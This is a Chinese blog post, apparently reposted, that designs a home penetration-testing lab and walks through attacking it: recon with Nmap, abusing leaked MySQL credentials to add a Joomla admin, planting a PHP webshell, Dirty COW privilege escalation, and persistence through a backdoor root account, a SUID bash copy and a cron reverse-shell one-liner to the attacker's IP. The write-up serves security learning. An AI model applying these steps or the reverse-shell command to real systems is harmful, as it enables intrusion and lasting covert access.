【靶场设计和渗透】

news/2024/11/29 13:37:38/

目录

一、前言

二、靶场设计

1、局域网

 2、说明

三、渗透测试

1、信息收集

2、漏洞利用

四、后渗透利用

1、提权

2、权限维持


一、前言

为了深入贯彻学习网络安全法律法规,深入学习渗透测试知识,强化实战技能............

 编不出来了,反正今天的主题就是设计一个靶场然后渗透一遍。

二、靶场设计

1、局域网

整体资产设计:

资产

IP

说明

数量

Kali Linux

192.168.43.203

黑客攻击机,桥接模式

1

Centos

网卡1:192.168.43.57

网卡2:192.168.93.100

搭建某web服务,为出网机,桥接和仅主机双网卡模式

1

Ubantu

192.168.93.120

内网Linux主机

1

Window7 PC

192.168.93.30

未知,待探测

1

Windows server2008

192.168.93.20

未知,待探测

1

Windows server2012

IP未知,待探测

未知,待探测

1

物理主机

192.168.43.151

真实主机

1

整体拓扑:

VMware中网卡呈现:

 2、说明

  • 启动VMware Workstation并打开要编辑网卡的虚拟机;点击菜单栏上的“编辑虚拟机设置”;在虚拟机设置对话框中,选择“网络适;在此选项卡中,更改虚拟机的网络连接类型和网卡设置;如果要使用主机网络连接类型,请选择“桥接”选项,并选择要使用的物理网卡;如果要使用NAT网络连接类型,请选择“NAT”选项,并选择要使用的网卡;如果要使用虚拟网络连接类型,请选择“虚拟网络”选项,并选择要使用的虚拟网络;如果需要手动配置IP地址、子网掩码、网关和DNS服务器,可以选择“手动”选项,并输入相应的信息;完成设置后,单击“确定”按钮保存更改。添加网卡VMnet2,模式仅主机模式,即将虚拟机连接到计算机的物理网络上,使得虚拟机可以像真实计算机一样通过局域网访问 Internet 和其他网络设备。网段为192.168.93.0 子网掩码为255.255.255.0,采用DHCP进行自动IP地址分配。
  • Kali Linux网络环境配置:编辑Kali Linux网络配置文件/etc/network/intrfaces,修改配置文件使其动态获取桥接网卡IP地址。
  • Centos部署:打开终端,可以使用任何终端应用程序来执行以下命令;查看当前网络配置:可以使用命令“ifconfig”或“ip addr”来查看当前网络配置;找到要配置的网络接口名称。可以在上一步中查看网络接口的名称;打开网络配置文件:打开配置文件“/etc/sysconfig/network-scripts/ifcfg-<网络接口名称>”,例如,“/etc/sysconfig/network-scripts/ifcfg-eth0”;配置网络接口:在文件中,可以设置各种选项,如IP地址、子网掩码、网关、DNS服务器、MAC地址等。部署模式为双网卡,eth0为桥接模式,网卡IP地址:192.168.43.57,子网255.255.255.0,该网卡能够出网,模拟为公网服务器;eth1为仅主机网卡,网卡IP地址为:192.168.93.100,子网255.255.255.0,该网卡不能出网。需满足Centos能够和物理主机、Kali Linux通信,且能够和内网主机PC通信。
  • Ubantu网卡配置: 打开终端:可以使用任何终端应用程序来执行以下命令;查看当前网络配置:可以使用命令“ifconfig”或“ip addr”来查看当前网络配置;找到要配置的网络接口名称:网络接口名称可能是“eth0”、“enp0s3”等。可以在上一步中查看网络接口的名称;打开网络配置文件:打开配置文件“/etc/netplan/01-netcfg.yaml”;配置网络接口:在文件中,设置各种选项,如IP地址、子网掩码、网关、DNS服务器等。配置该Linux主机网卡为仅主机模式,IP的地址为:192.168.93.120,子网255.255.255.0;能和Centos通信。
  • Window7部署:Window7网卡VMnet2,模式为仅主机模式,固定IP地址为192.168.93.30 子网掩码255.255.255.0;不能和物理主机、Kali Linux通信。
  • AD域内主机部署:Windows server2008,网卡仅主机模式,IP地址:192.168.93.20,子网255.255.255.0,纯内网服务器,其他信息待渗透;Windows server2012,网卡仅主机模式,IP地址:未知,需渗透,纯内网主机。
  • Linux内核漏洞:脏牛漏洞+Joomla系统=3.9漏洞部署于centos系统之上。

三、渗透测试

1、信息收集

本节内容将使用工具Nmap进行信息收集演示,获取目标系统、网络或应用程序的相关信息,包括IP地址、域名、服务器类型、网络拓扑结构、开放端口、操作系统版本、应用程序版本等。已知待测试网段为:192.168.43.0/24。步骤如下:

  • 存活主机探测:结果显示主机192.168.43.57、192.168.43.151(物理主机)、192.168.43.203(Kali Linux)、192.168.43.125(手机无线网关)存活,如图4-1所示。

操作系统、端口服务探测:结果显示主机192.168.43.57为Linux主机,内核是2.6.32-3.10版本,主机开启了22-ssh、80-http、3306-Mysql服务,如图4-2所示。

  •  验证服务信息:ssh服务暂时无法利用;验证http服务存在,图4-3所示,可进一步利用。



  • 继续探测http服务信息:渗透插件Wappalyzer识别web服务使用的技术,见表4-1、图4-4;Metasploit识别具体地点joomla版本信息,见图4-5;查看robots.txt文件、扫描网站泄露文件信息,图4-6所示。

表4-1 汇总Joomla使用技术框架

技术

说明

CMS

Joomla3.9.12

后端语言

PHP

字体脚本

Google Font API

JavaScript库

jQuery Migrate 1.4.1、jQuery 1.12.4

反向代理

Nginx 1.9.4

Web服务器

Nginx 1.9.4

UI框架

Bootstrap

图4-4 Wappalyzer插件收集Joomla技术信息

图4-5 Metasploit识别Joomla信息

图5-6 Dirsearch 爆破目录文件信息

  • 存在文件泄露数据库信息,如图4-7所示。

图4-7 数据库信息泄露

2、漏洞利用

本节将会演示漏洞的利用方法和过程:

  • Kali Linux自带的Mysql登录192.168.43.57数据库后台:有关键数据库Joomla,关键数据表am2zu_users、umnbt_users,如下图4-8所示。

图4-8 攻击数据库

  • 查询关键字段值(图),各个字段的Mysql数据类型描述(图);尝试修改表中的用户密码信息,修改成功,但是无法登录,原因是使用了token技术将用户进行了绑定操作,密码做了加盐处理,如图4-9所示。

图4-9 攻击数据库信息

  • 尝试导出各个字段的类型,进行新用户插入操作,如图4-10所示:

图4-10 攻击数据库字段

将得到的表中的数据类型进行归纳,Joomla CMS官网给出官方重置管理员密码操作,尝试进行插入数据操作,如图4-11;成功插入管理员账号密码,如下图4-12。

图4-11 Joomla官方重置管理员密码操作

图 4-12 数据库修管理员密码

以管理员身份登录网站,图4-13;发现网站有文件上传和文件写入漏洞,写入PHP木马,图4-14、图4-15。

图4-13 成功攻击web系统

图4-14 Joomla 文件上传漏洞

绝对路径是 http://192.168.43.57/templates/beez3/html/hhh.php,蚁剑链接,发现对一些执行命令的函数进行了禁用,使用插件进行绕过,如下图4-16和4-17。

图4-16 蚁剑webshell管理工具

图4-17 蚁剑绕过Disable_function

内网主机无法出网,无法反弹shell,继续查看被控主机文件,发现/tmp/mysql/目录下有敏感文件,如图4-18。

图4-18 发现泄露密码账号信息

结合之前信息收集到的22-ssh服务信息,尝试进行远程连接,成功远程,如图4-19。

图4-19 Xshell远程连接目标主机

四、后渗透利用

1、提权

  • 收集主机信息:内核发行版本信息、网络信息,Linux内核2.6.32,eth0:192.168.43.57,eth1:192.168.93.100,主机内核版本太低,尝试使用内核漏洞进行提权。如图4-20使用Searchsploit工具进行内核版本漏洞利用,可使用脏牛漏洞提权。

图4-20 使用Searchsploit利用内核漏洞

  • 将生成的c代码上传至漏洞主机上执行gcc编译,如图4-21;运行编译后的文件就可以对/etc/passwd文件进行修改,成功提权至root权限,至此该192.168.43.57主机已经完全被制下来了,如图4-22。

图4-21 上传脏牛漏洞exp

图4-22 编译执行exp后提权成功

2、权限维持

  • 后门维持探索:添加root账户:添加账户为r00t,密码为password的root账户,图4-23。

图4-23 添加root权限账户维持权限

  • 设置suid位权限:设置了suid位权限的文件在执行时具有该文件拥有者的权限,因此可以在root权限时留一个bash文件的后门,在低权限的时候能够通过该后门获得root权限,如图4-24。  

     

    图4-24 SUID权限维持

  • 写入计划任务:将反弹命令写入到Linux的计划任务中,周期执行shell反弹计划,如图4-25,命令:echo -e "*/1 * * * * exec 9<>/dev/tcp/192.168.43.203/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i" | crontab -。 

图4-25 计划任务权限维持

  • 告辞,后面在进行内网横移和AD渗透。

http://www.ppmy.cn/news/47622.html

相关文章

【Linux】man什么都搜不了,No manual entry for xxx的解决方案

本文首发于 慕雪的寒舍 man什么都搜不了&#xff0c;No manual entry for xxx的解决方案 系统 CentOS 7.6 1.问题描述 今天查手册的时候&#xff0c;发现man什么都查不了。不管是系统接口还是函数&#xff0c;都显示没有入口文档&#xff08;No manual entry for&#xff09;…

HttpServletResponse注意事项和细节和原理示意图

目录 HttpServletResponse HttpServletResponse 介绍 HttpServletResponse 类图 向客户端返回数据方法 处理中文乱码问题-方案 处理中文乱码问题-方案 2 请求重定向 请求重定向原理示意图 应用实例 DownServlet Java类 DownServletNew.java xml配置 请求重定向注意…

被裁员了,要求公司足额补缴全部公积金,一次补了二十多万!网友兴奋了,该怎么操作?...

被裁员后&#xff0c;能要求公司补缴公积金吗&#xff1f; 一位网友问&#xff1a; 被裁员了&#xff0c;要求公司把历史公积金全部足额缴纳&#xff0c;现在月薪2.3万&#xff0c;但公司每个月只给自己缴纳300元公积金&#xff0c;结果一次补了二十多万&#xff0c;一次性取出…

MySQL索引的底层结构

mysql索引的底层结构 MySQL中的索引索引的底层数据结构索引的类型普通索引主键索引唯一索引全文索引如何选择索引从表面的基本特性考虑性能和底层来分析 覆盖索引的定义回表操作 最左匹配原则 MySQL中的索引 本质是一种‘排好序的数据结构’&#xff0c;可以帮助快速查找数据。…

java基础——常用API,自定义泛型、collection接口

常用API、正则表达式&#xff0c;泛型、Collection集合API 第一章 DateFormat类 java.text.DateFormat 是日期/时间格式化子类的抽象类&#xff0c;我们通过这个类可以帮我们完成日期和文本之间的转换,也就是可以在Date对象与String对象之间进行来回转换。 格式化&#xff1…

配置FTP/TFTP协议的ASPF

在多通道协议和NAT的应用中&#xff0c;ASPF是重要的辅助功能。通过配置ASPF功能&#xff0c;实现内网正常对外提供FTP和TFTP服务&#xff0c;同时还可避免内网用户在访问外网Web服务器时下载危险控件。 组网需求 如图1所示&#xff0c;FW部署在某公司的出口&#xff0c;公司提…

C++中的引用

上一次&#xff0c;我们只是浅浅的提了一下引用‘&’&#xff0c;那么今天&#xff0c;我们就正式减少一下引用&#xff0c;以及引用是什么&#xff0c;还有就是引用和指针的区别&#xff0c;引用的特点 首先&#xff0c;我们回顾一下什么是引用&#xff0c;引用就是取别名…

spark第八章:Pyspark

系列文章目录 spark第一章&#xff1a;环境安装 spark第二章&#xff1a;sparkcore实例 spark第三章&#xff1a;工程化代码 spark第四章&#xff1a;SparkSQL基本操作 spark第五章&#xff1a;SparkSQL实例 spark第六章&#xff1a;SparkStreaming基本操作 spark第七章&#…